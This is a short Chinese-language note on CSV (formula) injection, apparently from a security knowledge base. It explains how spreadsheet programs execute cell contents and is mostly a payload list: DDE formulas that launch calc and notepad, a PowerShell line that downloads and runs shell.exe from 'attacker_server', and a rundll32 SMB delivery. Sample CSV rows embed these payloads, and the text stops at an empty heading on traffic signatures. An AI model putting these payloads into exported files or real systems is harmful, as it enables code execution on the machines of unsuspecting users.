CSV Injection(CSV注入)
简介
许多web应用程序允许用户将发票模板或用户设置等内容下载到CSV文件中。许多用户选择在Excel、Libre Office或open Office中打开CSV文件。当web应用程序无法正确验证CSV文件的内容时,可能会导致执行一个或多个单元格的内容。
漏洞利用
最基本的利用方式是动态数据交换
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
上述有效载荷的技术细节:
cmd 是每当客户端试图访问服务器时,服务器可以响应的名称
/C calc 是执行的文件名,(calc.exe即计算器)
!A0 是项名称,指定当客户端请求数据时服务器可以响应的数据单元
任何公式符号都可以用:
=
+
–
@
示例:
UserId BillToDate ProjectName Description DurationMinutes
1 2017/7/25 Test Project Flipped the jibbet 60
2 2017/7/25 Important Client "Bop, dop, and giglip" 240
2 2017/7/25 Important Client "=2+5" 240
2 2017/7/25 Important Client "=2+5+cmd|' /C calc'!A0" 240
2 2017/7/25 Important Client "=cmd|' /C notepad'!'A1'" 240
2 2017/7/25 Important Client "=cmd|'/C powershell IEX(Write-Host "It's run!";)'!A0" 240
流量特征如下: